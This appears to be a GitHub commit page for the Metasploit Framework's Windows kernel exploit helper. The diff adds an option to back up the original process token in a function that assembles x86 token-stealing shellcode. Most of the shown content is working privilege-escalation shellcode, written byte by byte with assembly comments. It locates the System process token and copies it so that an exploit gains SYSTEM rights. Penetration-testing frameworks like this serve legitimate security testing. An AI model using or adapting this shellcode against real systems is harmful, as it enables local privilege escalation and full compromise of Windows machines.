Skip to content

Commit 6543b08

Browse files
committed
Support writing a copy of the original token
1 parent 4b73ad6 commit 6543b08

File tree

1 file changed

+8
-2
lines changed

1 file changed

+8
-2
lines changed

lib/msf/core/exploit/local/windows_kernel.rb

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -108,12 +108,14 @@ def open_device(file_name, desired_access, share_mode, creation_disposition, fla
108108
#
109109
# @param target [Hash] The target information containing the offsets to _KPROCESS,
110110
# _TOKEN, _UPID and _APLINKS.
111+
# @param backup_token [Integer] An optional location to write a copy of the
112+
# original token to so it can be restored later.
111113
# @param arch [String] The architecture to return shellcode for. If this is nil,
112114
# the arch will be guessed from the target and then module information.
113115
# @return [String] The token stealing shellcode.
114116
# @raise [ArgumentError] If the arch is incompatible.
115117
#
116-
def token_stealing_shellcode(target, arch = nil)
118+
def token_stealing_shellcode(target, backup_token = nil, arch = nil)
117119
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
118120
if arch.nil? && module_info['Arch']
119121
arch = module_info['Arch']
@@ -124,15 +126,19 @@ def token_stealing_shellcode(target, arch = nil)
124126
fail ArgumentError, 'Invalid arch'
125127
end
126128

129+
tokenstealing = ''
127130
case arch
128131
when ARCH_X86
129-
tokenstealing = "\x52" # push edx # Save edx on the stack
132+
tokenstealing << "\x52" # push edx # Save edx on the stack
130133
tokenstealing << "\x53" # push ebx # Save ebx on the stack
131134
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
132135
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
133136
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
134137
tokenstealing << "\x8b\xc8" # mov ecx, eax
135138
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
139+
unless backup_token.nil?
140+
tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided
141+
end
136142
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
137143
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
138144
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)

0 commit comments

Comments
 (0)